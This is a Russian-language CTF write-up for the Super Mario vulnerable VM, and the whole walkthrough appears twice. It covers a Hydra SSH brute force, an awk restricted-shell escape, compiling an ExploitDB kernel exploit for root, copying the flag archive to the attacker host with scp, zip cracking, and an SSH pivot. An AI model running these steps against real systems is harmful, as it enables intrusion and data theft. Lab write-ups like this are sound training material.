Приветствую! В этой статье я хочу поделиться одним из способов прохождения CTF Challenge – Super Mario VM.
Для начала, как обычно, скачиваем образ уязвимой машины по ссылке ниже:
>
В качестве атакующего хоста, я буду использовать Kali Linux 2017.1.
Запускаем образ машины с помощью VMware (к примеру) и проводим первичный осмотр, запускаем netdiscover, чтобы обнаружить хост в сети.
Затем сканируем порты с помощью nmap:
Сканер обнаружил 2 открытых порта, в первую очередь заглянем на http – 8180.
После осмотра содержимого находящегося по адресу 172.16.0.193:8180, никаких подсказок или флагов не было обнаружено. Поэтому можем попробовать Dirbuster для поиска скрытого содержимого на сервере.
Dirbuster ко всему прочему, обнаружил один любопытный файл – vhosts.
Откроем его в браузере:
Изучив его, находим имя виртуального хоста - Что такое виртуальный хост? Это такая настройка локального веб-сервера, при которой веб-сервер начинает откликаться на заданное имя, а не только на IP 127.0.0.1 или псевдоним localhost. То есть, при настройке виртуального хоста на имя site.ru, в браузере, поэтому URL начнет отвечать локальный веб-сервер.
Веб-сервер можно настроить на несколько имен сайтов. Тогда веб-сервер начнет выдавать страницы, соответствующие каталогу, в котором находятся данные для указанного имени. Например, есть два виртуальных хоста - site.ru и money.com. Для site.ru настроен рабочий каталог /var/www/site.ru, а для money.com настроен рабочий каталог /var/www/money.com. Если теперь в браузере обратиться к site.ru, то веб-сервер будет выдавать страницы из каталога /var/www/site.ru, а если обратиться к money.com, то веб-сервер будет генерировать страницы из каталога /var/www/money.com.
Пропишем его себе в /etc/hosts и сохраним:
> nano /etc/hosts
Обратившись по адресу – mario.supermariohost.local:8180, видим это:
И собственно больше ничего, поэтому я пробую подключать Dirbuster снова, только теперь на этот хост.
Из найденных файлов интерес представляет – command.php, он представляет собой форму для проверки существования пользователей (я, по крайней мере, так и понял).
Мне это не сильно помогло, но сама идея натолкнула на мысль создать файл с паролями и логинами согласно теме из Mario.
Затем, используя следующую команду, генерируем файл, конкретно с данными подходящими для дальнейшего перебора.
Теперь, имея на руках файлы с именами пользователей и паролями, можно запустить брутфорс SSH, используем Hydra.
> hydra –L user.txt –P pass.txt 192.168.0.107 ssh
Логинимся по SSH используя подобранный логин и пароль:
Так как shell слишком лимитирован, необходимо воспользоваться AWK для использования BASH окружения:
Утилита awk, или точнее GNU awk, в сравнении с sed, выводит обработку потоков данных на более высокий уровень. Благодаря awk в нашем распоряжении оказывается язык программирования, а не довольно скромный набор команд, отдаваемых редактору. С помощью языка программирования awk можно выполнять следующие действия:
· Объявлять переменные для хранения данных.
· Использовать арифметические и строковые операторы для работы с данными.
· Использовать структурные элементы и управляющие конструкции языка, такие, как оператор if-then и циклы, что позволяет реализовать сложные алгоритмы обработки данных.
· Создавать форматированные отчёты.
Следующей командой получим полнофункциональный shell:
> awk ‘BEGIN{system(“/bin/bash”)}’
Выясним версию ядра ОС.
Теперь, можно обратиться за помощью к ExploitDB для подбора нужного експлойта:
Качаем эксплоит напрямую на уязвимый хост:
> wget
Затем компилируем и запускаем файл a.out
> mv 37292 37292.c
> gcc 37292.c
> ./a.out
Проверим, насколько успешно все прошло:
> id
И опять обратимся к awk, чтобы получить рабочий шелл bash:
> awk ‘BEGIN{system(“/bin/bash”)}’
В корневой папке находится архив с флагом, flag.zip скопируем его на атакующий хост, так как он защищен паролем.
> scp flag.zip necro@192.168.0.106:/home/necro
Достать флаг не сложно, достаточно использовать утилиту fcrackzip:
> fcrackzip flag.txt –D –p /usr/share/wordlist/rockyou.txt –u
Открыв архив, используя полученный пароль, можно ознакомиться с содержимым флага.
Идем далее, для получения второго флага необходимо обратить внимание на 2 момента:
1. Директорию .bak/users/luigi
2. Файл id_rsa.pub
Файл id_rsa.pub – это открытый ключ для доступа по SSH. Его копируют на сервера, куда нужно получить доступ. Если открыть его в cat, то в конце файла можно заметить фрагмент - warluigi@warluigi это очень похоже на то, что существует еще один хост на который можно зайти, используя данную информацию, в частности логин warluigi. Следующим шагом будет просмотр таблицы маршрутизации:
> arp –n
Вот, собственно, то, что мы искали. Есть хост с адресом 192.168.122.112. Пробуем получить к нему доступ, используя ту информацию, что у нас есть, а именно открытый ключ и логин.
> ssh -i id_rsa warluigi@192.168.1.122.112
Так как, метод подключения использует публичный ключ и нам необходим не пароль а ключевая фраза для подключения, можно предположить, что она не будет замысловатой а сгодится – warluigi. Так мы попадаем на нужный хост.
Скачиваем и компилируем уже знакомый нам эксплоит:
> wget
> mv 37292 37292.c
> gcc 37292.c
> ./a.out
> awk ‘BEGIN{system(“/bin/bash”)}’ – Укажет нам, на то, что мы являемся root.
В домашней директории root находится файл с подсказкой для извлечения второго флага, который тоже находится в этой директории, подсказка выглядит так – Peach Loves Me. Второй флаг, так же, защищен паролем, и подсказка им является.
> unzip flag2.zip
Вводим пароль peachlovesme и получаем второй и заключительный флаг.
На этом, прохождение Super Mario VM можно считать законченным.
Для начала, как обычно, скачиваем образ уязвимой машины по ссылке ниже:
>
Ссылка скрыта от гостей
В качестве атакующего хоста, я буду использовать Kali Linux 2017.1.
Запускаем образ машины с помощью VMware (к примеру) и проводим первичный осмотр, запускаем netdiscover, чтобы обнаружить хост в сети.
Затем сканируем порты с помощью nmap:
Сканер обнаружил 2 открытых порта, в первую очередь заглянем на http – 8180.
После осмотра содержимого находящегося по адресу 172.16.0.193:8180, никаких подсказок или флагов не было обнаружено. Поэтому можем попробовать Dirbuster для поиска скрытого содержимого на сервере.
Dirbuster ко всему прочему, обнаружил один любопытный файл – vhosts.
Откроем его в браузере:
Изучив его, находим имя виртуального хоста - Что такое виртуальный хост? Это такая настройка локального веб-сервера, при которой веб-сервер начинает откликаться на заданное имя, а не только на IP 127.0.0.1 или псевдоним localhost. То есть, при настройке виртуального хоста на имя site.ru, в браузере, поэтому URL начнет отвечать локальный веб-сервер.
Веб-сервер можно настроить на несколько имен сайтов. Тогда веб-сервер начнет выдавать страницы, соответствующие каталогу, в котором находятся данные для указанного имени. Например, есть два виртуальных хоста - site.ru и money.com. Для site.ru настроен рабочий каталог /var/www/site.ru, а для money.com настроен рабочий каталог /var/www/money.com. Если теперь в браузере обратиться к site.ru, то веб-сервер будет выдавать страницы из каталога /var/www/site.ru, а если обратиться к money.com, то веб-сервер будет генерировать страницы из каталога /var/www/money.com.
Пропишем его себе в /etc/hosts и сохраним:
> nano /etc/hosts
Обратившись по адресу – mario.supermariohost.local:8180, видим это:
И собственно больше ничего, поэтому я пробую подключать Dirbuster снова, только теперь на этот хост.
Из найденных файлов интерес представляет – command.php, он представляет собой форму для проверки существования пользователей (я, по крайней мере, так и понял).
Мне это не сильно помогло, но сама идея натолкнула на мысль создать файл с паролями и логинами согласно теме из Mario.
Затем, используя следующую команду, генерируем файл, конкретно с данными подходящими для дальнейшего перебора.
Теперь, имея на руках файлы с именами пользователей и паролями, можно запустить брутфорс SSH, используем Hydra.
> hydra –L user.txt –P pass.txt 192.168.0.107 ssh
Логинимся по SSH используя подобранный логин и пароль:
Так как shell слишком лимитирован, необходимо воспользоваться AWK для использования BASH окружения:
Утилита awk, или точнее GNU awk, в сравнении с sed, выводит обработку потоков данных на более высокий уровень. Благодаря awk в нашем распоряжении оказывается язык программирования, а не довольно скромный набор команд, отдаваемых редактору. С помощью языка программирования awk можно выполнять следующие действия:
· Объявлять переменные для хранения данных.
· Использовать арифметические и строковые операторы для работы с данными.
· Использовать структурные элементы и управляющие конструкции языка, такие, как оператор if-then и циклы, что позволяет реализовать сложные алгоритмы обработки данных.
· Создавать форматированные отчёты.
Следующей командой получим полнофункциональный shell:
> awk ‘BEGIN{system(“/bin/bash”)}’
Выясним версию ядра ОС.
Теперь, можно обратиться за помощью к ExploitDB для подбора нужного експлойта:
Качаем эксплоит напрямую на уязвимый хост:
> wget
Ссылка скрыта от гостей
Затем компилируем и запускаем файл a.out
> mv 37292 37292.c
> gcc 37292.c
> ./a.out
Проверим, насколько успешно все прошло:
> id
И опять обратимся к awk, чтобы получить рабочий шелл bash:
> awk ‘BEGIN{system(“/bin/bash”)}’
В корневой папке находится архив с флагом, flag.zip скопируем его на атакующий хост, так как он защищен паролем.
> scp flag.zip necro@192.168.0.106:/home/necro
Достать флаг не сложно, достаточно использовать утилиту fcrackzip:
> fcrackzip flag.txt –D –p /usr/share/wordlist/rockyou.txt –u
Открыв архив, используя полученный пароль, можно ознакомиться с содержимым флага.
Идем далее, для получения второго флага необходимо обратить внимание на 2 момента:
1. Директорию .bak/users/luigi
2. Файл id_rsa.pub
Файл id_rsa.pub – это открытый ключ для доступа по SSH. Его копируют на сервера, куда нужно получить доступ. Если открыть его в cat, то в конце файла можно заметить фрагмент - warluigi@warluigi это очень похоже на то, что существует еще один хост на который можно зайти, используя данную информацию, в частности логин warluigi. Следующим шагом будет просмотр таблицы маршрутизации:
> arp –n
Вот, собственно, то, что мы искали. Есть хост с адресом 192.168.122.112. Пробуем получить к нему доступ, используя ту информацию, что у нас есть, а именно открытый ключ и логин.
> ssh -i id_rsa warluigi@192.168.1.122.112
Так как, метод подключения использует публичный ключ и нам необходим не пароль а ключевая фраза для подключения, можно предположить, что она не будет замысловатой а сгодится – warluigi. Так мы попадаем на нужный хост.
Скачиваем и компилируем уже знакомый нам эксплоит:
> wget
Ссылка скрыта от гостей
> mv 37292 37292.c
> gcc 37292.c
> ./a.out
> awk ‘BEGIN{system(“/bin/bash”)}’ – Укажет нам, на то, что мы являемся root.
В домашней директории root находится файл с подсказкой для извлечения второго флага, который тоже находится в этой директории, подсказка выглядит так – Peach Loves Me. Второй флаг, так же, защищен паролем, и подсказка им является.
> unzip flag2.zip
Вводим пароль peachlovesme и получаем второй и заключительный флаг.
На этом, прохождение Super Mario VM можно считать законченным.
